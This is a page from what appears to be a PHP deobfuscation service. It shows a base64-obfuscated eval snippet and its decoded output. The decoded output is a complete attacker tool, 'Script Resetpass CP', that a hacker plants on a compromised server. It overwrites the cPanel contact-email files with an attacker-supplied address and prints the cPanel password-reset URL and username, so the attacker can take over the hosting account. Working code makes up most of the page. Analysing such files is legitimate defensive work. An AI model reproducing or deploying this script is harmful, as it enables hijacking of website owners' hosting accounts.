Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRlZCddKSl7JGZpbGU9JF9GSUxFU1snZml..

Decoded Output download

############################
##Script Resetpass CP 2019##
##Sid Gifari##
############################
echo '<html>
    <head> 
	      <title>Script Resetpass CP By Sid Gifari </title>
	      <div align="center"> <img src = "https://i.imgur.com/uhEZ27E.jpg"width="200" height="200"></img>
	      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />	      
           <style>
		      body {
	          color:#80D713;
	          background-color:#000000;
	          }
			  h2{
			  color:#80D713;
			  }
		  </style>
      	</head>
     <body>
	 <!--SCC -->
       <center> 	 
	   <div style="border-radius: 10px;border: 1px solid #45BD00;padding: 4px 2px;width: 25%;line-height: 24px;background: #000;color:#fff;">
    <p><h2>Script Resetpass CP</h2></p>
	 <p><h2>Modify By Sid Gifari</h2></p>
	 <p><center><h4>Contract with me ICQ:sidgifari1234</h3></p>
	<p>   
	    <form action="#" method="post">
	<input type="email" name="email" style="background-color: #181818;font: 9pt tahoma;color:#80D713;" />
	<input type="submit" name="submit" value="Send" style="background-color: #181818;font: 9pt tahoma;color:#80D713;"/>
	</form>
	
	<br /><br /><br />
	</p>
	</div>
   </center>
    </body>
</html>';

$user = get_current_user();
$site = $_SERVER['HTTP_HOST'];
$ips = getenv('REMOTE_ADDR');

if(isset($_POST['submit'])){
	
	$email = $_POST['email'];
	$wr = 'email:'.$email;
$f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
fwrite($f, $wr); 
fclose($f);
$f = fopen('/home/'.$user.'/.contactinfo', 'w');
fwrite($f, $wr); 
fclose($f);
$parm = $site.':2082/resetpass?start=1';
echo '<br/><center>'.$parm.'</center>';
echo '<br/><center>'.$user.'</center>';
}
?>

Did this file decode correctly?

Original Code

<?php
eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRlZCddKSl7JGZpbGU9JF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